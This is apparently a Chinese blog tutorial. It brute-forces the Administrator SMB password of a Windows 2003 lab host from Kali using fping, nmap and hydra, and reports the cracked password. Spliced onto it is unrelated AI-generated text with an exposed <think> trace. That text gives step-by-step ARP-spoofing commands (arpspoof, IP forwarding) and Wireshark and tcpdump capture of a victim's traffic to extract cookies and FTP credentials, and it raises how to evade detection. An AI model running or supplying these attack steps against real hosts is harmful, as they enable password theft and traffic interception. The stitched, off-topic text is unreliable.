同一局域网下如何爆破另一台主机密码(kali和win2003为例)

使用KaliLinux进行网络扫描,通过fping检测存活主机,nmap探测服务和端口,发现445端口开启。利用hydra-gtk进行图形化密码爆破,针对smb协议的445端口,输入用户名Administrator和字典文件,成功爆破出密码auscoo。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

已知靶机win2003用户名Administrator,主机用kali
在这里插入图片描述
第一步:先看自己当前网段192.168.132.0/24
在这里插入图片描述
fping扫描 扫描整个局域网下所存活的主机
192.168.132.1和192.168.132.2是我们的网关和DNS
192.168.132.131是kali自己,剩下的192.168.132.129极有可能是win2003
在这里插入图片描述
进一步确定一下用nmap

nmap扫描 扫描目标服务的版本端口
在这里插入图片描述
打开hydra-gtk 这是hydra的可视化界面,hydra是命令行模式
首先设置target,target是攻击目标
在这里插入图片描述
下面是重点选择协议,协议必须是刚刚扫描出来的端口里面包含的协议,这里可以用smb协议,因为刚刚扫描的时候,445端口是开启的,445端口用的是smb协议
填写用户名Administrator,密码选一个字典,点击开始

<think>我们正在处理用户关于在KaliLinux中抓取特定IP流量的询问。用户提到了两种工具:Wiresharkarpspoof。结合引用内容,我们可以将过程分为两部分:使用arpspoof进行ARP欺骗(中间人攻击)使目标流量经过本机,然后使用Wireshark捕获这些流量。步骤概述: 1.确保网络连接正常,并获取目标IP网关IP。 2.开启IP转发,以便被欺骗的主机流量能正常通过本机转发(避免目标断网引起怀疑)。 3.使用arpspoof进行ARP欺骗,欺骗目标主机网关。 4.使用Wireshark捕获经过本机的流量,并通过过滤器只显示目标IP的流量。详细步骤: ###1.准备工作-确认网络接口(通常为eth0,使用`ifconfig`或`ipa`查看)。 -获取目标IP(如192.168.51.111)网关IP(如192.168.51.1)。###2.开启IP转发```bashecho1 >/proc/sys/net/ipv4/ip_forward``` 这样设置后,本机会转发目标主机的流量,目标主机不会断网。 ###3.进行ARP欺骗使用`arpspoof`工具(位于dsniff套件中,Kali通常已安装):```basharpspoof-ieth0-t目标IP网关IP```如,欺骗目标192.168.51.111,网关为192.168.51.1: ```basharpspoof-ieth0-t192.168.51.111192.168.51.1```同时,为了双向欺骗(即同时欺骗网关,让网关发往目标IP的流量也经过本机),再开一个终端执行:```basharpspoof -i eth0 -t网关IP目标IP``` 如:```basharpspoof -i eth0 -t192.168.51.1192.168.51.111``` ###4.使用Wireshark捕获流量-启动Wireshark:在终端输入`wireshark`(或使用图形界面)。-选择网络接口(eth0)。 -开始捕获后,在过滤栏输入过滤表达式,只显示目标IP的流量:```ip.addr ==目标IP```如:`ip.addr==192.168.51.111`-这样,Wireshark将只显示源或目的为指定IP的流量。 ###注意事项-ARP欺骗需要root权限,所以上述命令都需要用`sudo`执行。-捕获结束后,记得停止arpspoof(按Ctrl+C),并关闭IP转发(可选):```bashecho0 >/proc/sys/net/ipv4/ip_forward```-这种方法属于中间人攻击,仅用于安全测试,且必须在授权范围内进行。 ###替代方法:仅用Wireshark如果不需要中间人攻击,且网络环境是共享式(如集线器)或者有端口镜像,可以直接用Wireshark捕获所有流量再过滤。但在交换网络中,不进行ARP欺骗则只能捕获到广播流量本机流量,无法捕获目标主机的单播流量。因此,在交换网络中,ARP欺骗是必要的。引用说明: -引用[1][3]提供了arpspoof的使用方法。 -引用[2]介绍了Wireshark的基本操作过滤语法。 -引用[5]解释了ARP协议的作用,说明了为什么需要ARP欺骗。 [^1]:引用[1]中介绍了使用arpspoof进行ARP欺骗并捕获cookie的过程。 [^2]:引用[2]详细说明了Wireshark的使用方法,包括过滤器的使用。[^3]:引用[3]提供了arpspoof命令的参数说明。[^5]:引用[5]解释了ARP协议的工作原理,为理解ARP欺骗提供了理论基础。 ---§§相关问题§§1.如何避免ARP欺骗被检测到? 2.除了Wireshark,还有哪些工具可以分析捕获的数据包? 3.如何从捕获的流量中提取HTTP会话?4.在KaliLinux中如何防御ARP欺骗攻击?</think>在 Kali Linux 中抓取同一网段下特定 IP 的流量,需要结合 ARP 欺骗流量捕获技术。以下是详细步骤: --- ### 核心步骤:ARP 欺骗 + Wireshark 捕获 #### 1. **开启 IP 转发(防止目标断网)** ```bash echo 1 > /proc/sys/net/ipv4/ip_forward ``` > 📌 作用:允许本机转发流量,避免目标主机断网[^3]。 #### 2. **执行 ARP 欺骗(强制目标流量经过本机)** ```bash arpspoof -i eth0 -t 目标IP 网关IP ``` 如: ```bash arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # 欺骗目标192.168.1.100 arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 # 双向欺骗(可选) ``` > ⚠️ 参数说明: > - `-i eth0`:指定网卡 > - `-t 目标IP`:要监控的主机 > - `网关IP`:路由器地址(用`ip route | grep default`查看)[^3][^5] #### 3. **启动 Wireshark 捕获流量** ```bash sudo wireshark ``` 1. 选择网卡(如`eth0`)开始捕获 2. 在过滤栏输入: `ip.addr == 目标IP` (如`ip.addr == 192.168.1.100`) 3. 只显示该 IP 的进出流量[^2] --- ### 关键技巧 1. **定位目标 IP** ```bash netdiscover -r 192.168.1.0/24 # 扫描网段存活主机 ``` 2. **命令行捕获(替代 GUI)** ```bash tcpdump -i eth0 host 目标IP -w capture.pcap # 保存到文件 ``` 3. **提取敏感数据** - 在 Wireshark 中使用过滤器: `http.cookie`(提取 Cookie) `ftp`(提取 FTP 凭据) - 右键数据包 → Follow → TCP Stream 查看完整会话[^2] --- ### 注意事项 1. **权限问题** - 所有操作需 `root` 权限(命令前加 `sudo`) - 若 Wireshark 无法抓包,执行: ```bash sudo dpkg-reconfigure wireshark-common # 允许非root用户抓包 sudo usermod -aG wireshark $USER ``` 2. **道德与法律** - ⚠️ 仅限授权测试环境使用 - ARP 欺骗会导致网络日志告警[^1][^5] 3. **防御措施** - 目标主机可配置静态 ARP 表防御欺骗 - 交换机启用端口安全功能 --- ### 操作流程图解 ```mermaid graph LR A[开启IP转发] --> B[ARP欺骗目标] B --> C[启动Wireshark] C --> D{设置过滤器} D --> E[捕获特定IP流量] E --> F[分析/保存数据] ``` [^1]: ARP 欺骗原理及中间人攻击流程说明 [^2]: Wireshark 过滤器流量分析方法 [^3]: ARP 欺骗命令参数详解 [^5]: ARP 协议工作原理及安全风险 ---
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值